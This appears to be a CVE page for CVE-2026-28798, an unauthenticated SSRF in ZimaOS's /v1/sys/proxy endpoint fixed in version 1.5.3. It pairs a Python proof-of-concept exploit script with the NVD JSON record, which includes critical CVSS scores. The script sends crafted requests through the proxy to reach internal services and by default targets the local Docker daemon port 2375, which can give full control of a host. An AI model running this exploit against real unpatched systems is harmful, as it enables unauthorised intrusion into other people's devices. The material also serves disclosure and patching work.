CVE-2026-28798

import requests def exploit_ssrf(target_url, internal_url): """ PoC for CVE-2026-28798 Exploits the /v1/sys/proxy endpoint to access internal localhost services. """ proxy_endpoint = f"{target_url}/v1/sys/proxy" # Payload structure may vary based on implementation, assuming a JSON body with a target URL payload = { "url": internal_url, # e.g., http://127.0.0.1:8080 "method": "GET" } try: print(f"[*] Sending request to {proxy_endpoint} to reach {internal_url}") response = requests.post(proxy_endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request successful!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target vulnerable instance target = "http://<VULNERABLE-ZIMAOS-HOST>" internal_target = "http://127.0.0.1:2375" # Example: Docker daemon port exploit_ssrf(target, internal_target)

{"cve": {"id": "CVE-2026-28798", "sourceIdentifier": "[email protected]", "published": "2026-04-03T20:16:02.433", "lastModified": "2026-04-13T18:27:54.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZimaOS is a fork of CasaOS, an operating system for Zima devices and x86-64 systems with UEFI. Prior to version 1.5.3, a proxy endpoint (/v1/sys/proxy) exposed by ZimaOS's web interface can be abused (via an externally reachable domain using a Cloudflare Tunnel) to make requests to internal localhost services. This results in unauthenticated access to internal-only endpoints and sensitive local services when the product is reachable from the Internet through a Cloudflare Tunnel. This issue has been patched in version 1.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:zimaspace:zimaos:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.3", "matchCriteriaId": "3E7A923E-CF1A-4555-9DC8-887A97BDE523"}]}]}], "references": [{"url": "https://github.com/IceWhaleTech/ZimaOS/releases/tag/1.5.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/IceWhaleTech/ZimaOS/security/advisories/GHSA-vqqj-f979-8c8m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}